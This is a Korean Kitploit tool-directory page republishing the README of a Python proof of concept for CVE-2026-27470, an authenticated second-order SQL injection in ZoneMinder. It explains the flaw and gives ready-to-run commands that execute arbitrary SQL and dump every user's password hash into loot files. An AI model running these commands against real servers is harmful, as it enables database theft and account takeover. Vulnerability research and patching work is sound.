Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-27470-POC — # CVE-2026-27470용 Python PoC, ZoneMinder의 getNearEvents()(status.php)에서 인증된 2차 SQL 인젝션, CVSS 8.8 | Kitploit
도구/GitHubGitHub/d3vn0mi/cve-2026-27470-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubd3vn0mi/cve-2026-27470-poc

CVE-2026-27470-POC

# CVE-2026-27470용 Python PoC, ZoneMinder의 getNearEvents()(status.php)에서 인증된 2차 SQL 인젝션, CVSS 8.8

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-27470 — ZoneMinder 2차 SQL 인젝션 PoC

작성자: d3vn0mi | CVSS 8.8 | 인증 필요 | Events 권한 필요

개요

CVE-2026-27470은 ZoneMinder의 web/ajax/status.php — 구체적으로 getNearEvents() 함수에서 발생하는 2차 SQL 인젝션 취약점입니다.

세부 사항값
영향 버전ZoneMinder <= 1.36.37 및 1.37.61 – 1.38.0
수정 버전1.36.38 / 1.38.1
유형2차 SQL 인젝션
인증 필요예 (Events 권한이 있는 모든 사용자)
CVSS8.8 (높음)

작동 원리

이 취약점은 2단계(2차) SQL 인젝션입니다:

  1. 1단계 — 저장: 공격자는 이벤트 이름을 변경하거나(또는 Cause 필드를 편집하여) SQL 페이로드를 포함시킵니다. ZoneMinder는 이 쓰기 작업에 매개변수화된 쿼리를 사용하므로 페이로드는 데이터베이스에 안전하게 저장됩니다 — WAF나 필터가 차단하지 않습니다.

  2. 2단계 — 트리거: 공격자는 상태 API를 통해 nearevents 엔티티를 요청합니다. getNearEvents() 함수는 데이터베이스에서 저장된 이벤트 이름/Cause를 읽어 새 SQL 쿼리에 직접 연결하며, 이때 삭제(소독) 처리가 없어 SQL 인젝션이 발생합니다.

인젝션 벡터(저장된 데이터)가 트리거(깨끗한 GET 요청)와 분리되어 있기 때문에 대부분의 입력 수준 보호 장치를 우회합니다.

설치

root@kitploit:~
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt

사용법

기본 — 데이터베이스 버전 추출

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password

사용자 정의 SQL 쿼리

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"

모든 사용자 및 비밀번호 해시 덤프

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users

자격 증명은 기본적으로 dumped_creds.txt에 저장됩니다.

결과를 사용자 정의 파일로 저장

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt

프록시 경유 (Burp / mitmproxy)

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080

Name 대신 Cause 필드 사용

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"

이벤트 ID 수동 지정

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42

상세 / 디버그 출력

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password -v

옵션

플래그설명기본값
-t, --target대상 URL(필수)
-u, --usernameZoneMinder 사용자 이름(필수)
-p, --passwordZoneMinder 비밀번호(필수)
--query실행할 SQL 쿼리SELECT VERSION()
--dump-users모든 사용자 이름과 비밀번호 해시 덤프
-o, --output결과를 파일로 저장dumped_creds.txt
--event-id인젝션 전달에 사용할 이벤트 ID(자동 감지)
--field인젝션 필드: Name 또는 CauseName
--no-restore공격 후 이벤트 이름을 복원하지 않음
--proxyHTTP 프록시 URL
--timeout요청 제한 시간(초)30
-v, --verbose디버그 로깅 활성화

면책 조항

이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 사용하지 마십시오. 작성자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

참고 자료

  • ZoneMinder 공식 사이트
  • ZoneMinder GitHub 저장소
도구 다운로드